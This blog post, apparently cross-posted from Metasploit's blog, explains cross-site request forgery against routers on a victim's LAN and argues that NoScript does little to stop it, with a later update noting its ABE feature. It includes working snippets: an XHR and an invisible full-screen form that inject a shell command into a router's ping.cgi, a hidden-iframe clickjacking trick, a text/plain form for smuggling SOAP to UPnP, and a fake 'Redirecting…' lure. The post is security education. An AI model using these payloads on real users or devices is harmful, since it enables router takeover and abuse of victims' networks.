(Note: this is a cross-post of an article I wrote for Metasploit’s blog. The original post can be found here.)
CSRFs - or Cross-Site Request Forgery vulnerabilities - occur when a server accepts requests that can be “spoofed” from a site running on a different domain. The attack goes something like this: you, as the victim, are logged in to some web site, like your router configuration page, and have a valid session token. An attacker gets you to click on a link that sends commands to that web site on your behalf, without your knowledge.
These vulnerabilities can be especially handy to attackers when trying to exploit something on the the victim’s LAN. The most common way to spoof requests is just by sending an XMLHttpRequest (XHR) from a site under the attacker’s control: all browsers will let you send GET/POST with arbitrary data and content-type to a cross-domain endpoint. Of course, due to the Same Origin Policy (SOP), this is a “fire and forget” operation. There is usually no way to read the contents of the cross domain response:
var xhr = new XMLHttpRequest; xhr.open('POST', 'http://192.168.1.1/ping.cgi', false); xhr.send('?pingstr='+encodeURIComponent('& echo abc123 > /tmp/bin; chmod ..'));
How does NoScript help prevent CSRF?
Unfortunately, NoScript doesn’t actually do much to prevent CSRF. The obvious example is an
<img> tag, which does a GET request on the
src attribute, regardless of what domain is used. But POST routes are often more desirable, since they are supposed to be used for mutating server state.
The typical way an attacker will handle
POST CSRFs on NoScript users is with a form that submits data to a cross domain endpoint, and get the user to unknowingly click it. The submit button is styled to take up the entire screen, and voila! You have a 1-click exploit:
<form method='post' action='http://192.168.1.1/ping.cgi' target='f'> <input type='hidden' name="pingstr" value="& echo abc12312..." /> <input type='submit' value="" style="position:absolute;position:fixed;top:0;left:0;width:1200px;height:1200px;background:#fff;opacity:0;" /> </form> <iframe name='f' id='f' style='position:absolute;left:-500px;top:-500px;height:1px;width:1px'></iframe>
So when the user clicks anywhere on the page, they submit the invisible form. The form’s target attribute is set to a hidden iframe, so that the unknown form submission does not even navigate the top-level page, so the user has no idea that a request just happened (this is handy for phishing).
Note: if the pingstr parameter looks familiar, you might have seen it in
exploit/linux/http/linksys_wrt110_cmd_exec. Many of Metasploit’s router exploits can be triggered via CSRF.
Now, how to get the user to click the page? There are a million ways to do this, but one easy and reliable trick is to just put a “Redirecting…” link at the top of the page. Eventually the user will get tired of waiting for the redirect to load and will click the link (I know I do this at least).
What about non-HTTP protocols?
It is known that the UPnP interfaces in certain routers will take SOAP requests that can be easily spoofed, which can be abused to forward internal ports from the LAN on to the Internet. With AJAX, arbitrary data can be inserted into a POST request, by calling ajax.send(data).
But if you try and use the <form> vector, you will find that you cannot send arbitrary data after the request headers. You can set enctype=”text/plain” on the form, which prevent the parameters from being formatted and URL encoded:
<form method='post' enctype='text/plain' action='http://192.168.1.1/upnp.cgi'> <input type='hidden' name="blah" value="<SOAP document...>" /> <input type='submit' value="submit" style="position:fixed;top:0;left:0;width:1200px;height:1200px;background:#000;opacity:0;" /> </form>
But there will always be some leading garbage on the request (in this instance, the “blah=” string):
POST /ping.cgi HTTP/1.1 Host: 192.168.0.5:5000 Connection: keep-alive Content-Length: 23 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://attacker.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36 Content-Type: text/plain Referer: http://attacker.com Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 blah=<SOAP document...>
Depending on the protocol, you can often find ways to turn that leading garbage into something that is ignored by the server, like an XML comment:
<input type='hidden' name="<!--" value="--><SOAP document...>" /> POST /ping.cgi HTTP/1.1 Host: 192.168.0.5:5000 Connection: keep-alive Content-Length: 26 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://attacker.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36 Content-Type: text/plain Referer: http://fiddle.jshell.net/_display/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 <!--=--><SOAP document...>
Finally, one interesting fact of
<noscript> CSRF exploits is that they can often be triggered straight from the user’s web-based email. Most webmail applications will alert the user when the submit button is clicked, often with a message along the lines of “You are submitting data to an external page, are you sure you want to do this?”. One accidental “OK”, and the victim’s router/webapp/internal device is owned.
In 2014, default NoScript techniques do not actually protect you against CSRF.
Sorry for maybe ruining your day. If you have any advice as to how to practically resolve this problem, feel free to comment below.
Update: NoScript ABE allows you to blacklist certain types of requests
Big thanks to commentor @ma1 for pointing out the ABE component of NoScript, available in NoScript Preferences -> Advanced -> ABE. ABE allows you to define which origins are allowed to communicate to one another. By default, requests from non-LAN sites to a host on the LAN are blocked. My testing on this issue was flawed and my initial results were incorrect. It would be interesting to see how ABE stands up to a DNS rebinding attack into a LAN. However, CSRFs are still very possible in noscript across other (non-LAN) origins, or from a “rogue” LAN host into another LAN host, unless you explicitly create rules to prevent this.